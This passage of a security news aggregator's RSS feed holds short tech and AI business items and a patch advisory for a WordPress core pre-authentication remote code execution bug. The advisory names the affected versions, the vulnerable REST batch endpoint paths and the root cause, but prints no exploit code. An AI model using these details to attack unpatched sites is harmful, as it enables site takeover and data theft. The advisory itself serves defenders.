<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI SOC Evaluation Guide for Security Leaders]]></title>
<description><![CDATA[Choosing an AI SOC platform requires understanding how it will perform in your own environment, not just during an evaluation. Prophet Security shares a practical framework for assessing AI SOC solutions, including how to validate accuracy, operating models, long-term reliability, and production ...]]></description>
<link>https://tsecurity.de/de/3681383/it-security-nachrichten/an-ai-soc-evaluation-guide-for-security-leaders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681383/it-security-nachrichten/an-ai-soc-evaluation-guide-for-security-leaders/</guid>
<pubDate>Mon, 20 Jul 2026 16:24:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Choosing an AI SOC platform requires understanding how it will perform in your own environment, not just during an evaluation. Prophet Security shares a practical framework for assessing AI SOC solutions, including how to validate accuracy, operating models, long-term reliability, and production readiness. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple could ‘run the table’ on AI if it does things right]]></title>
<description><![CDATA[Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.



Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to hel...]]></description>
<link>https://tsecurity.de/de/3681267/it-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681267/it-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</guid>
<pubDate>Mon, 20 Jul 2026 15:33:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.</p>



<p class="wp-block-paragraph">Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.</p>



<p class="wp-block-paragraph">Apple also <a href="https://www.macobserver.com/news/apple-calls-its-new-assistant-siri-ai-at-wwdc-2026-gemini-partnership-now-official/" target="_blank" rel="noreferrer noopener">offers limited capacity for more complex tasks</a> through <a href="https://www.applemust.com/apple-commences-us-manufacturing-of-private-cloud-compute-servers/" target="_blank" rel="noreferrer noopener">Private Cloud Compute</a>, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. </p>



<h2 class="wp-block-heading"><strong>Deeply deployable</strong></h2>



<p class="wp-block-paragraph">Critics can say it <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">took Apple a long time</a> to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party <a href="https://www.computerworld.com/article/4164979/apple-will-be-behind-on-ai-until-it-isnt.html">doesn’t mean you won’t shine once you get there</a>.</p>



<p class="wp-block-paragraph">Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for <a href="https://www.computerworld.com/article/4016798/why-i-hope-apple-keeps-investing-in-on-device-ai.html">Edge AI use cases</a>, on device — no cloud service required.</p>



<p class="wp-block-paragraph">The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that <a href="https://www.tomshardware.com/tech-industry/semiconductors/apples-rumored-m7-ultra-targets-1-5tb-of-memory-and-blackwell-class-ai" target="_blank" rel="noreferrer noopener">future M7 Ultra Macs</a> will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. </p>



<p class="wp-block-paragraph">While that does assume the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">AI-flationary memory market</a> can supply that much RAM at prices humans can afford, it is also true that people are already <a href="https://www.computerworld.com/article/4092162/apples-macos-ai-for-the-rest-of-us.html">running AI clusters</a> using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe <a href="https://www.applemust.com/macweb-now-offers-mac-mini-cloud-clusters-in-east-coast-data-centre/" target="_blank" rel="noreferrer noopener">this will continue to be the case</a>, and that it will even broaden as the power/performance offered at the high end grows.</p>



<h2 class="wp-block-heading"><strong>What’s wrong with good enough?</strong></h2>



<p class="wp-block-paragraph">When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for <a href="https://www.computerworld.com/article/4074648/apples-big-bang-ai-moment-is-approaching.html">private AI services</a> and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support <a href="https://openclaw.ai/" target="_blank" rel="noreferrer noopener">OpenClaw</a> instances shows they already are.</p>



<p class="wp-block-paragraph">Ultimately, these different slices of momentum mean I agree with <a href="https://podcastalpha.substack.com/p/all-in-can-ai-regulate-itself-stripe" target="_blank" rel="noreferrer noopener">investor Jason Calacanis</a> that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. </p>



<p class="wp-block-paragraph">It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run <a href="https://9to5mac.com/2026/07/14/prismml-releases-bonsai-27b-claiming-first-major-ai-model-of-its-size-fit-for-iphone/" target="_blank" rel="noreferrer noopener">PrismML’s 1-bit, 27-billion parameter Bonsai</a> on an iPad using the Locally app, and that’s in the here and now.</p>



<p class="wp-block-paragraph">What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they <a href="https://www.applemust.com/morgan-stanley-its-when-not-if-apple-will-deliver-ai-on-the-edge/" target="_blank" rel="noreferrer noopener">have on their existing device</a> or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models <a href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html">will erode</a>. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all. </p>



<p class="wp-block-paragraph">“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.</p>



<h2 class="wp-block-heading"><strong>Who has the most to lose?</strong></h2>



<p class="wp-block-paragraph">The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.</p>



<p class="wp-block-paragraph">These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.</p>



<p class="wp-block-paragraph">Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)</p>



<h2 class="wp-block-heading"><strong>Cupertino rising</strong></h2>



<p class="wp-block-paragraph">What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s going wrong with this Kotlin code?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 1x - Views:13 Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instea...]]></description>
<link>https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</guid>
<pubDate>Mon, 20 Jul 2026 15:18:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 1x - Views:13 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/AaWdVp_py4Y?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instead of the config object we expect, it holds something else. Watch the video and share what you think caused the bug!<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Speakers: Anaya Mehta<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI’s problems aren’t what you think]]></title>
<description><![CDATA[The biggest and loudest prediction about AI is that it will eliminate millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage co...]]></description>
<link>https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The biggest and loudest prediction about AI is that it will <a href="https://www.axios.com/2025/05/28/ai-jobs-white-collar-unemployment-anthropic">eliminate</a> millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage costs spreading faster than most organizations can govern or connect to real business value, also known as <a href="https://www.ibm.com/think/topics/ai-agent-sprawl">AI sprawl.</a></p>



<p class="wp-block-paragraph">None of that invalidates the initial fear. Indeed, AI can clear backlogs, speed up analysis, draft usable content and reduce time spent on repetitive work. In my opinion, what goes wrong is the assumption that those gains will scale seamlessly, and that more AI will automatically produce more value.</p>



<p class="wp-block-paragraph">What really matters is not only how much AI a company can deploy, but whether its use fits inside a growth strategy, an operating model and an organization that can use it well.</p>



<p class="wp-block-paragraph">The early results of AI use made the logical progression feel obvious, even a foregone conclusion. If it could already improve output in narrow use cases, then broader deployment should produce broader gains. Simple! Better models were expected to deliver better results. More agents were expected to drive more automation. For many companies, this logic held for long enough to encourage overexpansion.</p>



<p class="wp-block-paragraph">But this logic has started to break down as usage continues to scale. I’ve seen returns diminish much quicker than expected. To illustrate, one <a href="https://www.businessinsider.com/ai-tokenmaxxing-fails-as-productivity-strategy-jellyfish-2026-5?utm">industry analysis</a> found that developers who used AI most heavily produced about twice the output of moderate users, but consumed roughly ten times the compute.  </p>



<p class="wp-block-paragraph">At a certain point, more AI does not create proportionally more value – it simply becomes more expensive. But where, exactly?</p>



<h2 class="wp-block-heading">From experimentation to sprawl</h2>



<p class="wp-block-paragraph">Experimentation played a key role in this downturn, but it’s not the culprit. As AI continues to sprawl, the problem continues that AI is spreading faster than most companies can coordinate. Teams often solve the same problem in parallel, paying for overlapping capabilities and layering new tools atop existing ones without any clear inventory of what ‘s already in place. What can appear as momentum is really turning into redundancy.</p>



<p class="wp-block-paragraph">I’ve seen versions of this play out repeatedly. At one financial firm, several business units were pursuing AI projects aimed at automating research and reporting. Each team moved independently; selecting their own tools, building their own workflows and creating separate data pipelines, with little to no coordination between teams. In some cases, different groups were developing nearly identical capabilities without realizing it, solving the same problems twice without any shared visibility into each other’s work.</p>



<p class="wp-block-paragraph">Individually, the projects showed real promise. Collectively, the projects created duplication, fragmented data and inconsistent standards business and enterprise wide.</p>



<p class="wp-block-paragraph">By the time leadership stepped back to assess, the company found itself paying for overlapping capabilities, maintaining multiple versions of the same underlying data, and struggling to determine which solutions were actually delivering value versus which were simply consuming budget and eating at engineering time.</p>



<p class="wp-block-paragraph">Perhaps most troubling: nobody at the enterprise level had a complete view of what was being built, by whom or why. What began as healthy, well-intentioned experimentation had, without anyone deciding it should, evolved into full-blown AI sprawl, creating a patchwork of disconnected initiatives that was difficult to govern, harder to secure and far more expensive than a coordinated approach could and should be.</p>



<p class="wp-block-paragraph">Early wins encourage a still wider rollout, but many organizations expand usage before they put real controls in place. Experimentation becomes sprawl. Budgets grow quickly, and few leaders have a reliable view of who is using what or why.</p>



<h2 class="wp-block-heading">AI strategy cannot sit beside growth strategy</h2>



<p class="wp-block-paragraph">This is where I see many companies still get the issue wrong. They treat AI and growth strategy as two separate efforts, then wonder how adoption gets so messy. A business cannot drop AI into its operations and expect momentum to take over. The technology has to support a clear path to growth, whether that means improving margin, speed, service, capacity or decision-making. At the same time, growth plans cannot assume AI changes nothing about delivery, design or operating leverage. The real challenge is in ensuring the two work together.</p>



<p class="wp-block-paragraph">Personally, I’ve seen better results when AI initiatives are tied to a specific business objective from the beginning, rather than launched as broad, abstract or transformative effort. One mattress retailer I’ve worked with took this approach, starting with a single, focused and well-defined use case rather than trying to transform or overhaul the entire organization at once. The company introduced an AI-powered training platform for store associates, giving employees a low-pressure way to practice sales conversations and product recommendations before applying them to external situations with customers on the floor.</p>



<p class="wp-block-paragraph">Because employees experienced immediate and tangible value from the tool, adoption spread quickly across locations, with minimal need for top-down mandates. Early, visible success helped to build internal credibility and generate momentum, which leadership then leveraged to expand into more complex AI initiatives across areas such as inventory management, demand forecasting and replenishment planning.</p>



<p class="wp-block-paragraph">Ultimately, the technology succeeded not because it was innovative for its own sake, but because it was connected to a larger growth strategy: improving sales effectiveness on the floor, driving operational efficiency behind the scenes and strengthening workforce capability at entry level. A major lesson we walked away with here was that starting small and specific, with a clear throughline to business value creates a strong foundation for sustainable and scalable AI use.</p>



<h2 class="wp-block-heading">What implementation actually takes</h2>



<p class="wp-block-paragraph">All this takes more than a few easy guardrails. It takes strategy. Leaders need a real inventory of the tools, agents and assistants already in use across the business, who owns them, what data they can access and everything that they support.</p>



<p class="wp-block-paragraph">They also need financial controls that match the economics of token-based usage, including role-based access, thresholds and review processes that make spend visible before it becomes a surprise. Similarly, they need metrics that go beyond mere activity. More prompts do not mean more value. If a deployment cannot be tied to throughput, margin, quality, cycle time or another tangible result, it is still unfinished.</p>



<p class="wp-block-paragraph">This is also why blunt shutdowns rarely work. If leaders clamp down too hard, employees often move to unsanctioned tools and create a larger <a href="https://www.paloaltonetworks.com/cyberpedia/what-is-shadow-ai">shadow AI</a> problem, or the unauthorized use of artificial intelligence tools, models or chatbots by employees, without the knowledge or approval of IT and security teams, with even less visibility and more risk. The better answer is disciplined adoption: clear ownership, rules, metrics and enough flexibility for teams to use AI where it works.</p>



<p class="wp-block-paragraph">That matters for the people as much as it does for the budget. Those that modernize well end up with <em>better</em> work – not just less of it.</p>



<p class="wp-block-paragraph">The story of the moment isn’t about AI replacing people – or even AI in general. It’s about whether companies know their own businesses well enough to keep incorporating powerful new tools without mistaking activity for progress. As technological capabilities continue to appear, the winners will be the organizations that understand where it belongs, what it can improve and how to turn each new wave into something permanent.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patch now: WordPress REST API bug allows remote code execution]]></title>
<description><![CDATA[Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.



The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default W...]]></description>
<link>https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.</p>



<p class="wp-block-paragraph">The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default WordPress installation without requiring plugins, authentication, or special configuration.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/adam-kues/" target="_blank" rel="noreferrer noopener">Adam Kues</a> of Searchlight Cyber first reported the issue and published a public <a href="https://wp2shell.com/" target="_blank" rel="noreferrer noopener">checker</a> to assess risks, holding back technical details until a patch was available and admins had enough time to apply it.</p>



<p class="wp-block-paragraph">In a technical analysis published by Hadrian, researchers reconstructed the root cause from WordPress’ <a href="https://wordpress.org/news/2026/07/wordpress-7-0-2-release/" target="_blank" rel="noreferrer noopener">security patch</a> released on July 17. The vulnerability, they said, resides in the core REST API batch endpoint “batch/v1,” where an indexing mismatch during request validation can cause request objects and their associated permission checks to become misaligned.</p>



<p class="wp-block-paragraph">As a result, a crafted batch request can be processed under the wrong authorization context, ultimately allowing remote code execution.</p>



<p class="wp-block-paragraph">“An attacker who reaches the bug gains unauthenticated code execution on the web server,” the researchers <a href="https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api" target="_blank" rel="noreferrer noopener">said.</a> “In practice, that means full control of the site and its content, access to the database and whatever credentials or personal data it holds, and a way into the surrounding hosting environment.”</p>



<p class="wp-block-paragraph">The issue affects WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. According to Hadrian, versions 6.9.5 and 7.0.2 contain the fix, while 6.8.6 includes the same hardening changes even though earlier 6.8.x releases are not affected by this specific vulnerability.</p>



<p class="wp-block-paragraph">Because the vulnerable component is part of WordPress Core and the REST Batch API is enabled by default, any affected site exposing the REST API is potentially reachable by attackers. The researchers said this endpoint remains accessible through both “/wp-json/batch/v1” and the alternate /“?rest_route=/batch/v1” path, even on deployments without rewrite rules.</p>



<p class="wp-block-paragraph">Hadrian recommended upgrading immediately to WordPress 6.9.5 or 7.02, verifying that updates completed successfully, and, where patching cannot be performed immediately, blocking unauthorized access to both REST Batch API endpoints at the web server and through <a href="https://www.csoonline.com/article/563657/calling-barracudas-waf-a-firewall-is-seriously-selling-it-short.html">WAF</a>.</p>



<p class="wp-block-paragraph">Organizations were also advised to inventory all WordPress deployments, including staging and forgotten campaign sites, and review whether unauthorized access to the REST API is necessary for their environment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stimulating Brains Without Touching Them: A Story of Magnets, Hype, and Open Science (emf2026)]]></title>
<description><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain acti...]]></description>
<link>https://tsecurity.de/de/3681109/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681109/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 14:33:32 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain activation without having to anaesthetise, cut, drill or otherwise violate the skull! 

The plan for this talk is to tell you a bit about brains and what we can learn from stimulating them using electromagnets and weak electric currents. As well as some sophisticated science, this approach has also seen some crazy claims about what brain stimulation can do. To separate the signal from the noise, open science has had a massive role to play. 

The lab that I co-lead has used open science approaches to explore brain activity using NiBS and found… not much. But, by using an open science approach, and systematically experimenting using NiBS, the how and why of ‘not much’ can be particularly useful and hopefully interesting.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/79-stimulating-brains-without-touching-them-a-story-of-magnets]]></content:encoded>
</item>
<item>
<title><![CDATA[Stimulating Brains Without Touching Them: A Story of Magnets, Hype, and Open Science (emf2026)]]></title>
<description><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain acti...]]></description>
<link>https://tsecurity.de/de/3681094/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681094/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 14:25:02 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain activation without having to anaesthetise, cut, drill or otherwise violate the skull! 

The plan for this talk is to tell you a bit about brains and what we can learn from stimulating them using electromagnets and weak electric currents. As well as some sophisticated science, this approach has also seen some crazy claims about what brain stimulation can do. To separate the signal from the noise, open science has had a massive role to play. 

The lab that I co-lead has used open science approaches to explore brain activity using NiBS and found… not much. But, by using an open science approach, and systematically experimenting using NiBS, the how and why of ‘not much’ can be particularly useful and hopefully interesting.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/79-stimulating-brains-without-touching-them-a-story-of-magnets]]></content:encoded>
</item>
<item>
<title><![CDATA[An Apple 'Find My' mystery keeps sending strangers to a Reddit user's house in search of lost iPhones —here's what's likely happening]]></title>
<description><![CDATA[Apple’s Find My is sending people to the wrong address looking for their lost iPhones.]]></description>
<link>https://tsecurity.de/de/3681086/it-nachrichten/an-apple-find-my-mystery-keeps-sending-strangers-to-a-reddit-users-house-in-search-of-lost-iphones-heres-whats-likely-happening/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681086/it-nachrichten/an-apple-find-my-mystery-keeps-sending-strangers-to-a-reddit-users-house-in-search-of-lost-iphones-heres-whats-likely-happening/</guid>
<pubDate>Mon, 20 Jul 2026 14:20:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s Find My is sending people to the wrong address looking for their lost iPhones.]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Why boutique consultancies might be better for AI rollouts than the bigwigs]]></title>
<description><![CDATA[Major AI labs are unleashing forward-deployed engineers (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.



But smaller firms are in the mix now, as well. AI is helping 28Stone Con...]]></description>
<link>https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</guid>
<pubDate>Mon, 20 Jul 2026 13:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Major AI labs are <a href="https://www.computerworld.com/article/4171867/heres-one-career-emerging-from-the-ai-shift-forward-deployed-engineers.html">unleashing forward-deployed engineers</a> (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.</p>



<p class="wp-block-paragraph">But smaller firms are in the mix now, as well. AI is helping <a href="https://www.28stone.com/" target="_blank" rel="noreferrer noopener">28Stone Consulting</a>, a New York-based, 230-person technology consultancy for capital markets, punch above its weight against larger rivals in the <a href="https://www.computerworld.com/article/4180088/ai-vendor-fdes-key-considerations-and-concerns.html">rush to deliver FDEs</a>.</p>



<p class="wp-block-paragraph">In this Q&amp;A, <a href="https://www.linkedin.com/in/thomas-dolan-4124914" target="_blank" rel="noreferrer noopener">Thomas Dolan</a> and <a href="https://www.linkedin.com/in/frank-erickson-07675a1" target="_blank" rel="noreferrer noopener">Frank Erickson</a>, founders of 28Stone, argue that agentic AI isn’t a one-size-fits-all solution in vertical markets; success takes discipline, deep domain expertise, and human involvement to mitigate risk.</p>



<p class="wp-block-paragraph">Many enterprises continue to struggle with the use of AI agents, which is consultancies are stepping in to get projects off the ground. 28Stone is among those that have published blueprints and methodologies on the development and delivery of agentic AI workflows with humans in the loop.</p>



<p class="wp-block-paragraph"><em>Computerworld</em> spoke with both founding partners about why companies are still stumbling with <a href="https://www.computerworld.com/article/4083589/from-chatbots-to-colleagues-how-agentic-ai-is-redefining-enterprise-automation.html">agentic AI rollouts</a>, and what a disciplined delivery process actually looks like.</p>



<p class="wp-block-paragraph"><strong>After 15 years of delivering software for capital markets firms, is ‘AI-first’ a real distinction or just positioning?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re not shying away from being AI-forward. What needs to shine through is AI done intelligently — not stuff you get by buying some tokens for somebody on the trading desk. We’re an AI-first firm.”</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And it’s temporary. At some point, AI is going to be synonymous with software development.</p>



<p class="wp-block-paragraph">“The whole idea of an AI SDLC (software development lifecycle) versus an SDLC is going to be one and the same, a lot like cloud computing today. To not include AI in your strategy, you’d look like a COBOL vendor.”</p>



<p class="wp-block-paragraph"><strong>What does agentic AI delivery look like?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’ve got several AI initiatives delivering a pure agentic approach. We’ve doubled down on the human expertise wrapper in the SDLC. That doesn’t mean sacrificing any of the benefits of the AI models — quite the opposite.</p>



<p class="wp-block-paragraph">“You don’t achieve anywhere near the same level of value from applying AI without keeping that expertise — industry, functional and technical — throughout the process.”</p>



<p class="wp-block-paragraph"><strong>Where do humans stay in the loop once agents are doing the work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re believers in starting with requirements discovery. Someone who knows the analytical nuances of a good business analyst is critically important; shaping a product owner’s business information through a markup file that can be fed into a BA agent, then treating the output as if it came from a very fast junior BA. Only then is the story complete.</p>



<p class="wp-block-paragraph">“The developer takes that story, transforms it into the most efficient input, then owns the output, because they’re accountable for that code. A developer should own the code on both the input and output side.</p>



<p class="wp-block-paragraph">“Your product owner, who knows the business, that’s great. But expecting them to interact with an agent and output enterprise code is ridiculous. It’s not a great plan.“</p>



<p class="wp-block-paragraph"><strong>Why not just put one do-everything person in charge of AI and agents?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “Every analyst, programmer or software engineer isn’t a great requirements analyst. And a great domain analyst with some technical background won’t know if the agent’s code is garbage, maintainable, performant.</p>



<p class="wp-block-paragraph">“It’s unrealistic to expect one individual to have that breadth across domain, software engineering, testing, deployment. Clients ask all the time, and we push back: ‘Great, if you can find that guy, they’re few and far between.’ To deliver at the enterprise level, you need the human expertise, at depth.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “There’s system speed and latency, important in parts of finance. Then there’s speed of delivery, because other areas evolve quickly and time-to-market is critical.</p>



